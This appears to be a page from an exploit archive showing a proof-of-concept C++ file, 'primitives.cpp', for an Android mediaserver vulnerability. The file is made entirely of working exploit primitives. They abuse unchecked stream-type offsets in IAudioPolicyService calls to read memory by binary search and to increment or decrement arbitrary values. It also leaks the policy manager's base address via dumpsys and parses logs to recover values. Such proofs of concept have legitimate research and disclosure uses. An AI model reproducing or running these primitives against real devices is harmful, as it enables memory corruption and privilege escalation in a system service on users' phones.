4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / primitives.cpp CPP
#include "primitives.h"

namespace android {

uint32_t diff(uint32_t a, uint32_t b) {
	return (a > b) ? a-b : b-a;
}

int probable_read32(const sp<IAudioPolicyService>& service, int offset, uint32_t& value) {

	//Trying to figure out if the value at the first offset is a zero or not
	//(Since this will cause the subsequent tests to always return "true")
	if (service->isStreamActive((audio_stream_type_t)offset, 0) &&
		service->isStreamActive((audio_stream_type_t)offset, 0x7FFFFFFF) &&
		service->isStreamActive((audio_stream_type_t)offset, 0x80000000) &&
		service->isStreamActive((audio_stream_type_t)offset, 0xFFFFFFFF)) {
		return -EFAULT;
	}

	//Now that we know this value can be gaged, let's take a poke at it
	//The following code will do a regular binary search, but will try and calculate a
	//matching value for inPastMs in each iteration that will cause each comparison to
	//match the current iteration of the binary search.
	//Note that there may be very slight inaccuracies in the value returned because of
	//the delay between the time at which the request is initially processed, and the time
	//the remote timestamp is generated.
	nsecs_t startTime = systemTime();
	uint32_t high = (uint32_t)0xFFFFFFFF;
	uint32_t low = 0;
	while (diff(high, low) > 1) {
		uint32_t mid = (uint32_t)((high+low)/2);
		if (service->isStreamActive((audio_stream_type_t)offset, mid))
			low = mid;
		else
			high = mid;

	}
	printf("Deduced value before calculation: %08X\n", high);
	printf("startTime: %llu\n", startTime);
	uint64_t full_value = startTime - ((uint64_t)high)*1000000;
	value = (full_value >> 32) & 0xFFFFFFFF;
	printf("Full value: 0x%llX\n", full_value);
	return 0;
}

int is_non_zero(const sp<IAudioPolicyService>& service, int offset) {
	return  (service->isStreamActive((audio_stream_type_t)offset, 0) &&
		 service->isStreamActive((audio_stream_type_t)offset, 0x7FFFFFFF) &&
		 service->isStreamActive((audio_stream_type_t)offset, 0x80000000) &&
		 service->isStreamActive((audio_stream_type_t)offset, 0xFFFFFFFF));
}

void increment_by_one(const sp<IAudioPolicyService>& service, int offset) {
	service->startOutput(DEFAULT_OUTPUT, (audio_stream_type_t)offset, 0);
}

void decrement_by_one(const sp<IAudioPolicyService>& service, int offset) {
	service->stopOutput(DEFAULT_OUTPUT, (audio_stream_type_t)offset, 0);
}

void modify_value(const sp<IAudioPolicyService>& service, int offset, int difference) {

	//Choosing the needed modification method
	void(*modify_function)(const sp<IAudioPolicyService>& service, int offset);
	if (difference > 0)
    	modify_function = increment_by_one;
	else
    	modify_function = decrement_by_one;
	int magnitude = difference > 0 ? difference : -difference;

	printf("[+] Modifying offset %d by %d\n", offset, difference);
	for (int i=0; i<magnitude; i++) {
	    //Checking if we need to increment or decrement
	    if ((i+1) % MODIFY_VALUE_PRINT_STEP == 0)
		    printf("[+] Modified %d/%d (%02f%%)\n", i, magnitude, (float)(i*100)/magnitude);
	    modify_function(service, offset);
	}
}

uint32_t get_audio_policy_manager_base_address() {

	FILE* dumpsys_output = popen("dumpsys media.audio_policy", "r");
	uint32_t address = 0;
	char* buffer = (char*)malloc(4096);
	size_t len = 4096;
	int read;
	while ((read = getline(&buffer, &len, dumpsys_output)) != -1) {
		int res = sscanf(buffer, "AudioPolicyManager Dump: 0x%08x", &address);
		if (res > 0) {
//			printf("[+] Found APMB address\n");
			break;
		}
	}
	free(buffer);
	fclose(dumpsys_output);
	return address;
}

pid_t get_mediaserver_pid() {

    FILE* ps_output = popen("ps", "r");
    pid_t pid = 0;
	char* buffer = (char*)malloc(4096);
	size_t len = 4096;
	int read;
	while ((read = getline(&buffer, &len, ps_output)) != -1) {
		if (strstr(buffer, "/system/bin/mediaserver") == NULL)
            continue;
        int res = sscanf(buffer, "media      %d", &pid);
		if (res > 0) {
			break;
		}
	}
	free(buffer);
	fclose(ps_output);
	return pid;


}

int read_negative_value_at(const sp<IAudioPolicyService>& service, int offset) {

	//Clearing the log file and causing a decrement
	system("logcat -c");
	decrement_by_one(service, offset);

	//Reading until we find a matching line
	FILE* log_file = fopen("/dev/log/main", "r");
	int delta, stream, refCount;
	int read;
	char* buffer = (char*)malloc(4096);
	size_t len = 4096;
	while ((read = getdelim(&buffer, &len, '\0', log_file)) != -1) {
		int res = sscanf(buffer, "changeRefCount() invalid delta %d for stream %d, refCount %d", &delta, &stream, &refCount);
		if (res > 0) {
			printf("[+] delta: %d, stream: %d, refCount: %d\n", delta, stream, refCount);
			break;
		}

	}
	free(buffer);
	fclose(log_file);
	return refCount;
}

}